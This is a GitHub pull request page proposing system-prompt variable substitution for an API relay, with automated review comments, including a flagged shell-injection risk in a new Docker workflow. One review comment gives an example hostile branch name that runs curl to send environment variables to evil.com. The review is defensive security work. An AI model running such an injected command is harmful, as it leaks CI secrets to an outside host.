Skip to content

feat: 渠道 System Prompt 支持变量替换 {model_name} {site_name} {site_url} - #6119

Closed
Wu-jiyan wants to merge 4 commits into
QuantumNous:mainfrom
Wu-jiyan:feat/system-prompt-variables
Closed

feat: 渠道 System Prompt 支持变量替换 {model_name} {site_name} {site_url}#6119
Wu-jiyan wants to merge 4 commits into
QuantumNous:mainfrom
Wu-jiyan:feat/system-prompt-variables

Conversation

@Wu-jiyan

@Wu-jiyan Wu-jiyan commented Jul 11, 2026

Copy link
Copy Markdown

改动说明

在渠道配置的 System Prompt 字段中支持占位符变量,请求时自动替换。

支持的变量

变量 替换为 来源
{model_name} 当前请求的模型名 info.OriginModelName
{site_name} 站点名称 系统设置中的站点名称(默认 "New API")
{site_url} 站点地址 系统设置中的站点地址(默认 "http://localhost:3000")

使用示例

渠道 System Prompt 中填写:

你是 {site_name} 的 AI 助手,当前使用模型:{model_name}。
官网:{site_url

实际请求时会自动替换为对应的实际值。

改动文件

后端(6 文件):

  • relay/helper/channel_system_prompt.go — 新增变量替换函数
  • relay/compatible_handler.go — OpenAI 兼容路径
  • relay/claude_handler.go — Claude 路径
  • relay/gemini_handler.go — Gemini 路径
  • relay/chat_completions_via_responses.go — Responses 路径
  • relay/channel/codex/adaptor.go — Codex 路径

前端(3 文件):

  • channel-mutate-drawer.tsx — System Prompt 输入框下方添加可用变量提示
  • zh.json / en.json — 新增 "可用变量" 翻译

设计要点

  • 最小侵入:复用渠道原有 System Prompt 处理流程,仅在使用前做一次字符串替换
  • 无数据库/前端表结构变更

Summary by CodeRabbit

  • New Features

    • Added support for system prompt template variables: {model_name}, {site_name}, and {site_url}.
    • Variable expansion is now applied automatically when injecting or overriding channel system prompts across supported AI providers.
  • Documentation

    • Updated the channel System Prompt UI to show available variables.
    • Added English and Chinese translations for the variable guidance.
  • Chores

    • Added a GitHub Actions workflow to build and publish Docker images to GHCR.

Wu-jiyan added 2 commits July 11, 2026 20:37
在渠道设置的 System Prompt 字段中支持占位符变量:
- {model_name} → 当前请求的模型名
- {site_name} → 站点名称 (common.SystemName)
- {site_url}  → 站点地址 (system_setting.ServerAddress)

复用的渠道 System Prompt 原有处理流程,无需模型表或前端改动。
在渠道配置的 System Prompt 输入框下方显示可用变量提示:
{model_name}、{site_name}、{site_url}
@coderabbitai

coderabbitai Bot commented Jul 11, 2026

Copy link
Copy Markdown
Contributor

Review Change Stack

Walkthrough

Channel system prompts now expand {site_name}, {site_url}, and {model_name} across relay providers. The channel editor documents these variables with localized text. A manual workflow builds and publishes branch-tagged Docker images to GHCR.

Changes

Channel system prompt variables

Layer / File(s) Summary
Prompt variable expansion helper
relay/helper/channel_system_prompt.go
Adds shared substitution for site and optional model placeholders.
Provider system prompt integration
relay/channel/codex/adaptor.go, relay/chat_completions_via_responses.go, relay/claude_handler.go, relay/compatible_handler.go, relay/gemini_handler.go
Uses expanded prompts for system-message injection and override handling across relay request paths.
Available variable guidance
web/default/src/features/channels/components/drawers/channel-mutate-drawer.tsx, web/default/src/i18n/locales/*.json
Displays supported variables in the channel editor with localized text.

GHCR Docker publishing

Layer / File(s) Summary
Manual Docker build and publish
.github/workflows/docker-build-ghcr.yml
Adds a manually triggered workflow that checks out a selected branch, sanitizes its image tag, and builds and pushes the image to GHCR with caching.

Estimated code review effort: 3 (Moderate) | ~25 minutes

Sequence Diagram(s)

sequenceDiagram
  participant ProviderHandler
  participant ApplyChannelSystemPromptVariables
  participant ProviderRequest
  ProviderHandler->>ApplyChannelSystemPromptVariables: Expand channel system prompt
  ApplyChannelSystemPromptVariables-->>ProviderHandler: Return systemPrompt
  ProviderHandler->>ProviderRequest: Inject or merge systemPrompt
Loading

Possibly related PRs

Poem

A rabbit hops through prompts so bright,
Replacing tokens left and right.
Site and model now appear,
While Docker images climb the gear.
GHCR greets the build tonight!

🚥 Pre-merge checks | ✅ 4 | ❌ 1

❌ Failed checks (1 warning)

Check name Status Explanation Resolution
Docstring Coverage ⚠️ Warning Docstring coverage is 0.00% which is insufficient. The required threshold is 80.00%. Write docstrings for the functions missing them to satisfy the coverage threshold.
✅ Passed checks (4 passed)
Check name Status Explanation
Description Check ✅ Passed Check skipped - CodeRabbit’s high-level summary is enabled.
Title check ✅ Passed The title accurately summarizes the main change: channel System Prompt variable substitution for model, site name, and site URL.
Linked Issues check ✅ Passed Check skipped because no linked issues were found for this pull request.
Out of Scope Changes check ✅ Passed Check skipped because no linked issues were found for this pull request.
✨ Finishing Touches
🧪 Generate unit tests (beta)
  • Create PR with unit tests

Thanks for using CodeRabbit! It's free for OSS, and your support helps us grow. If you like it, consider giving us a shout-out.

❤️ Share

Comment @coderabbitai help to get the list of available commands.

@coderabbitai coderabbitai Bot left a comment

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Actionable comments posted: 1

🤖 Prompt for all review comments with AI agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.

Inline comments:
In `@relay/gemini_handler.go`:
- Around line 99-120: Move the system prompt expansion block identified by
ApplyChannelSystemPromptVariables and request.SystemInstructions before the
thinking adapter that can modify info.OriginModelName. Keep the existing prompt
initialization, merge behavior, and override context handling unchanged so
{model_name} expands using the originally requested model name.
🪄 Autofix (Beta)

Fix all unresolved CodeRabbit comments on this PR:

  • Push a commit to this branch (recommended)
  • Create a new PR with the fixes

ℹ️ Review info
⚙️ Run configuration

Configuration used: Organization UI

Review profile: CHILL

Plan: Pro

Run ID: b07fffd8-e9f4-4390-910f-5e543148e9e5

📥 Commits

Reviewing files that changed from the base of the PR and between c36418c and b16b4a2.

📒 Files selected for processing (9)
  • relay/channel/codex/adaptor.go
  • relay/chat_completions_via_responses.go
  • relay/claude_handler.go
  • relay/compatible_handler.go
  • relay/gemini_handler.go
  • relay/helper/channel_system_prompt.go
  • web/default/src/features/channels/components/drawers/channel-mutate-drawer.tsx
  • web/default/src/i18n/locales/en.json
  • web/default/src/i18n/locales/zh.json

Comment thread relay/gemini_handler.go
Comment on lines +99 to +120
systemPrompt := helper.ApplyChannelSystemPromptVariables(info.ChannelSetting.SystemPrompt, info)
if request.SystemInstructions == nil {
request.SystemInstructions = &dto.GeminiChatContent{
Parts: []dto.GeminiPart{
{Text: info.ChannelSetting.SystemPrompt},
{Text: systemPrompt},
},
}
} else if len(request.SystemInstructions.Parts) == 0 {
request.SystemInstructions.Parts = []dto.GeminiPart{{Text: info.ChannelSetting.SystemPrompt}}
request.SystemInstructions.Parts = []dto.GeminiPart{{Text: systemPrompt}}
} else if info.ChannelSetting.SystemPromptOverride {
common.SetContextKey(c, constant.ContextKeySystemPromptOverride, true)
merged := false
for i := range request.SystemInstructions.Parts {
if request.SystemInstructions.Parts[i].Text == "" {
continue
}
request.SystemInstructions.Parts[i].Text = info.ChannelSetting.SystemPrompt + "\n" + request.SystemInstructions.Parts[i].Text
request.SystemInstructions.Parts[i].Text = systemPrompt + "\n" + request.SystemInstructions.Parts[i].Text
merged = true
break
}
if !merged {
request.SystemInstructions.Parts = append([]dto.GeminiPart{{Text: info.ChannelSetting.SystemPrompt}}, request.SystemInstructions.Parts...)
request.SystemInstructions.Parts = append([]dto.GeminiPart{{Text: systemPrompt}}, request.SystemInstructions.Parts...)

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

🎯 Functional Correctness | 🟡 Minor | ⚡ Quick win

{model_name} may substitute the modified model name instead of the originally requested one.

The thinking adapter at lines 73–89 can modify info.OriginModelName (appending -nothinking) before the system prompt expansion at line 99. This means {model_name} would resolve to e.g. gemini-2.5-flash-nothinking rather than the user's originally requested model name, inconsistent with the PR's stated behavior.

The system prompt expansion block and the thinking adapter block are independent (one modifies request.SystemInstructions, the other modifies request.GenerationConfig.ThinkingConfig and info.OriginModelName), so moving the expansion before the thinking adapter is safe.

♻️ Proposed fix: move system prompt expansion before thinking adapter
 	adaptor.Init(info)

+	if info.ChannelSetting.SystemPrompt != "" {
+		systemPrompt := helper.ApplyChannelSystemPromptVariables(info.ChannelSetting.SystemPrompt, info)
+		if request.SystemInstructions == nil {
+			request.SystemInstructions = &dto.GeminiChatContent{
+				Parts: []dto.GeminiPart{
+					{Text: systemPrompt},
+				},
+			}
+		} else if len(request.SystemInstructions.Parts) == 0 {
+			request.SystemInstructions.Parts = []dto.GeminiPart{{Text: systemPrompt}}
+		} else if info.ChannelSetting.SystemPromptOverride {
+			common.SetContextKey(c, constant.ContextKeySystemPromptOverride, true)
+			merged := false
+			for i := range request.SystemInstructions.Parts {
+				if request.SystemInstructions.Parts[i].Text == "" {
+					continue
+				}
+				request.SystemInstructions.Parts[i].Text = systemPrompt + "\n" + request.SystemInstructions.Parts[i].Text
+				merged = true
+				break
+			}
+			if !merged {
+				request.SystemInstructions.Parts = append([]dto.GeminiPart{{Text: systemPrompt}}, request.SystemInstructions.Parts...)
+			}
+		}
+	}
+
 	if model_setting.GetGeminiSettings().ThinkingAdapterEnabled {
 		if isNoThinkingRequest(request) {
 			// check is thinking
 			if !strings.Contains(info.OriginModelName, "-nothinking") {
 				// try to get no thinking model price
 				noThinkingModelName := info.OriginModelName + "-nothinking"
 				containPrice := helper.HasModelBillingConfig(noThinkingModelName)
 				if containPrice {
 					info.OriginModelName = noThinkingModelName
 					info.UpstreamModelName = noThinkingModelName
 				}
 			}
 		}
 		if request.GenerationConfig.ThinkingConfig == nil {
 			gemini.ThinkingAdaptor(request, info)
 		}
 	}

-	if info.ChannelSetting.SystemPrompt != "" {
-		systemPrompt := helper.ApplyChannelSystemPromptVariables(info.ChannelSetting.SystemPrompt, info)
-		...
-	}
📝 Committable suggestion

‼️ IMPORTANT
Carefully review the code before committing. Ensure that it accurately replaces the highlighted code, contains no missing lines, and has no issues with indentation. Thoroughly test & benchmark the code to ensure it meets the requirements.

Suggested change
systemPrompt := helper.ApplyChannelSystemPromptVariables(info.ChannelSetting.SystemPrompt, info)
if request.SystemInstructions == nil {
request.SystemInstructions = &dto.GeminiChatContent{
Parts: []dto.GeminiPart{
{Text: info.ChannelSetting.SystemPrompt},
{Text: systemPrompt},
},
}
} else if len(request.SystemInstructions.Parts) == 0 {
request.SystemInstructions.Parts = []dto.GeminiPart{{Text: info.ChannelSetting.SystemPrompt}}
request.SystemInstructions.Parts = []dto.GeminiPart{{Text: systemPrompt}}
} else if info.ChannelSetting.SystemPromptOverride {
common.SetContextKey(c, constant.ContextKeySystemPromptOverride, true)
merged := false
for i := range request.SystemInstructions.Parts {
if request.SystemInstructions.Parts[i].Text == "" {
continue
}
request.SystemInstructions.Parts[i].Text = info.ChannelSetting.SystemPrompt + "\n" + request.SystemInstructions.Parts[i].Text
request.SystemInstructions.Parts[i].Text = systemPrompt + "\n" + request.SystemInstructions.Parts[i].Text
merged = true
break
}
if !merged {
request.SystemInstructions.Parts = append([]dto.GeminiPart{{Text: info.ChannelSetting.SystemPrompt}}, request.SystemInstructions.Parts...)
request.SystemInstructions.Parts = append([]dto.GeminiPart{{Text: systemPrompt}}, request.SystemInstructions.Parts...)
🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.

In `@relay/gemini_handler.go` around lines 99 - 120, Move the system prompt
expansion block identified by ApplyChannelSystemPromptVariables and
request.SystemInstructions before the thinking adapter that can modify
info.OriginModelName. Keep the existing prompt initialization, merge behavior,
and override context handling unchanged so {model_name} expands using the
originally requested model name.

@coderabbitai coderabbitai Bot left a comment

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Actionable comments posted: 2

🤖 Prompt for all review comments with AI agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.

Inline comments:
In @.github/workflows/docker-build-ghcr.yml:
- Around line 19-22: Update the actions/checkout step in the workflow to set
persist-credentials to false, while preserving the existing inputs.branch ref
and checkout behavior. This prevents the GitHub token from being written to the
repository’s git configuration during the Docker build.
- Around line 34-39: Update the “Resolve image tag” step identified by id “tag”
to pass inputs.branch through the step’s environment rather than interpolating
it directly inside the shell script. Read the environment variable when
computing TAG, preserving the existing normalization and GitHub output behavior.
🪄 Autofix (Beta)

Fix all unresolved CodeRabbit comments on this PR:

  • Push a commit to this branch (recommended)
  • Create a new PR with the fixes

ℹ️ Review info
⚙️ Run configuration

Configuration used: Organization UI

Review profile: CHILL

Plan: Pro

Run ID: deab885a-3a1f-41b2-905c-031720ccb9cd

📥 Commits

Reviewing files that changed from the base of the PR and between b16b4a2 and ad5f59a.

📒 Files selected for processing (1)
  • .github/workflows/docker-build-ghcr.yml

Comment on lines +19 to +22
- name: Check out branch
uses: actions/checkout@34e114876b0b11c390a56381ad16ebd13914f8d5
with:
ref: ${{ inputs.branch }}

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

🔒 Security & Privacy | 🟠 Major | ⚡ Quick win

Checkout persists GitHub token in .git/config.

actions/checkout defaults to persist-credentials: true, which writes the GITHUB_TOKEN into the local git config. During a Docker build, untrusted RUN steps or a malicious Dockerfile could read and exfiltrate it. Set persist-credentials: false since this job only needs the source tree, not git push access.

🔒 Proposed fix
       - name: Check out branch
         uses: actions/checkout@34e114876b0b11c390a56381ad16ebd13914f8d5
         with:
           ref: ${{ inputs.branch }}
+          persist-credentials: false
📝 Committable suggestion

‼️ IMPORTANT
Carefully review the code before committing. Ensure that it accurately replaces the highlighted code, contains no missing lines, and has no issues with indentation. Thoroughly test & benchmark the code to ensure it meets the requirements.

Suggested change
- name: Check out branch
uses: actions/checkout@34e114876b0b11c390a56381ad16ebd13914f8d5
with:
ref: ${{ inputs.branch }}
- name: Check out branch
uses: actions/checkout@34e114876b0b11c390a56381ad16ebd13914f8d5
with:
ref: ${{ inputs.branch }}
persist-credentials: false
🧰 Tools
🪛 zizmor (1.26.1)

[warning] 19-22: credential persistence through GitHub Actions artifacts (artipacked): does not set persist-credentials: false

(artipacked)

🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.

In @.github/workflows/docker-build-ghcr.yml around lines 19 - 22, Update the
actions/checkout step in the workflow to set persist-credentials to false, while
preserving the existing inputs.branch ref and checkout behavior. This prevents
the GitHub token from being written to the repository’s git configuration during
the Docker build.

Source: Linters/SAST tools

Comment thread .github/workflows/docker-build-ghcr.yml Outdated
Comment on lines +34 to +39
- name: Resolve image tag
id: tag
run: |
TAG=$(echo "${{ inputs.branch }}" | tr '[:upper:]' '[:lower:]' | sed 's/[^a-z0-9_.-]/-/g')
echo "tag=$TAG" >> "$GITHUB_OUTPUT"
echo "Building image: ghcr.io/${{ github.repository }}:$TAG"

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

🔒 Security & Privacy | 🔴 Critical | ⚡ Quick win

Script injection via unescaped inputs.branch interpolation.

${{ inputs.branch }} is expanded directly into the shell run block on line 37. A workflow dispatcher with write access could pass a branch name containing shell metacharacters (e.g. "; curl evil.com -d "$(env)" #), achieving arbitrary code execution in the build job. Pass the input through an environment variable instead so the shell sees it as data, not code.

🔒 Proposed fix
       - name: Resolve image tag
         id: tag
+        env:
+          BRANCH: ${{ inputs.branch }}
         run: |
-          TAG=$(echo "${{ inputs.branch }}" | tr '[:upper:]' '[:lower:]' | sed 's/[^a-z0-9_.-]/-/g')
+          TAG=$(echo "$BRANCH" | tr '[:upper:]' '[:lower:]' | sed 's/[^a-z0-9_.-]/-/g')
           echo "tag=$TAG" >> "$GITHUB_OUTPUT"
           echo "Building image: ghcr.io/${{ github.repository }}:$TAG"
📝 Committable suggestion

‼️ IMPORTANT
Carefully review the code before committing. Ensure that it accurately replaces the highlighted code, contains no missing lines, and has no issues with indentation. Thoroughly test & benchmark the code to ensure it meets the requirements.

Suggested change
- name: Resolve image tag
id: tag
run: |
TAG=$(echo "${{ inputs.branch }}" | tr '[:upper:]' '[:lower:]' | sed 's/[^a-z0-9_.-]/-/g')
echo "tag=$TAG" >> "$GITHUB_OUTPUT"
echo "Building image: ghcr.io/${{ github.repository }}:$TAG"
- name: Resolve image tag
id: tag
env:
BRANCH: ${{ inputs.branch }}
run: |
TAG=$(echo "$BRANCH" | tr '[:upper:]' '[:lower:]' | sed 's/[^a-z0-9_.-]/-/g')
echo "tag=$TAG" >> "$GITHUB_OUTPUT"
echo "Building image: ghcr.io/${{ github.repository }}:$TAG"
🧰 Tools
🪛 zizmor (1.26.1)

[error] 37-37: code injection via template expansion (template-injection): may expand into attacker-controllable code

(template-injection)

🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.

In @.github/workflows/docker-build-ghcr.yml around lines 34 - 39, Update the
“Resolve image tag” step identified by id “tag” to pass inputs.branch through
the step’s environment rather than interpolating it directly inside the shell
script. Read the environment variable when computing TAG, preserving the
existing normalization and GitHub output behavior.

Source: Linters/SAST tools

@coderabbitai coderabbitai Bot left a comment

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Actionable comments posted: 1

♻️ Duplicate comments (1)
.github/workflows/docker-build-ghcr.yml (1)

19-22: 🔒 Security & Privacy | 🟠 Major | ⚡ Quick win

Checkout still persists GitHub token in .git/config (previously flagged).

persist-credentials: false has not been added. The GITHUB_TOKEN is still written to git config during checkout and is readable by any RUN step in the Docker build.

🔒 Proposed fix
       - name: Check out branch
         uses: actions/checkout@34e114876b0b11c390a56381ad16d13914f8d5
         with:
           ref: ${{ inputs.branch }}
+          persist-credentials: false
🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.

In @.github/workflows/docker-build-ghcr.yml around lines 19 - 22, Add
persist-credentials: false to the actions/checkout step identified by the “Check
out branch” name, alongside the existing branch ref configuration, so the
GITHUB_TOKEN is not persisted in .git/config or exposed during Docker build
steps.

Source: Linters/SAST tools

🤖 Prompt for all review comments with AI agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.

Inline comments:
In @.github/workflows/docker-build-ghcr.yml:
- Around line 37-38: Update the workflow’s TAG computation to avoid directly
interpolating inputs.branch into shell code. Expose the branch input through the
step’s environment and have the shell command read that environment variable
before applying lowercase conversion and sanitization; leave the REPO
computation unchanged.

---

Duplicate comments:
In @.github/workflows/docker-build-ghcr.yml:
- Around line 19-22: Add persist-credentials: false to the actions/checkout step
identified by the “Check out branch” name, alongside the existing branch ref
configuration, so the GITHUB_TOKEN is not persisted in .git/config or exposed
during Docker build steps.
🪄 Autofix (Beta)

Fix all unresolved CodeRabbit comments on this PR:

  • Push a commit to this branch (recommended)
  • Create a new PR with the fixes

ℹ️ Review info
⚙️ Run configuration

Configuration used: Organization UI

Review profile: CHILL

Plan: Pro

Run ID: 951721fc-f356-449a-9dcd-a7d820595dcb

📥 Commits

Reviewing files that changed from the base of the PR and between ad5f59a and 5c0765b.

📒 Files selected for processing (1)
  • .github/workflows/docker-build-ghcr.yml

Comment on lines +37 to +38
REPO=$(echo "${{ github.repository }}" | tr '[:upper:]' '[:lower:]')
TAG=$(echo "${{ inputs.branch }}" | tr '[:upper:]' '[:lower:]' | sed 's/[^a-z0-9_.-]/-/g')

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

🔒 Security & Privacy | 🔴 Critical | ⚡ Quick win

Script injection via unescaped inputs.branch still present (previously flagged).

${{ inputs.branch }} is still interpolated directly into the shell script. A dispatcher with write access can pass a branch name containing shell metacharacters to achieve arbitrary code execution. Pass it through an environment variable instead.

🔒 Proposed fix
       - name: Resolve image tag
         id: tag
+        env:
+          BRANCH: ${{ inputs.branch }}
         run: |
           REPO=$(echo "${{ github.repository }}" | tr '[:upper:]' '[:lower:]')
-          TAG=$(echo "${{ inputs.branch }}" | tr '[:upper:]' '[:lower:]' | sed 's/[^a-z0-9_.-]/-/g')
+          TAG=$(echo "$BRANCH" | tr '[:upper:]' '[:lower:]' | sed 's/[^a-z0-9_.-]/-/g')
           echo "repo=$REPO" >> "$GITHUB_OUTPUT"
           echo "tag=$TAG" >> "$GITHUB_OUTPUT"
           echo "Building image: ghcr.io/${REPO}:$TAG"
🧰 Tools
🪛 zizmor (1.26.1)

[error] 38-38: code injection via template expansion (template-injection): may expand into attacker-controllable code

(template-injection)

🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.

In @.github/workflows/docker-build-ghcr.yml around lines 37 - 38, Update the
workflow’s TAG computation to avoid directly interpolating inputs.branch into
shell code. Expose the branch input through the step’s environment and have the
shell command read that environment variable before applying lowercase
conversion and sanitization; leave the REPO computation unchanged.

Source: Linters/SAST tools

@seefs001 seefs001 closed this Jul 11, 2026
@QuantumNous QuantumNous locked as spam and limited conversation to collaborators Jul 11, 2026
@seefs001

Copy link
Copy Markdown
Collaborator

请勿提交奸商功能

Sign up for free to subscribe to this conversation on GitHub. Already have an account? Sign in.

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

2 participants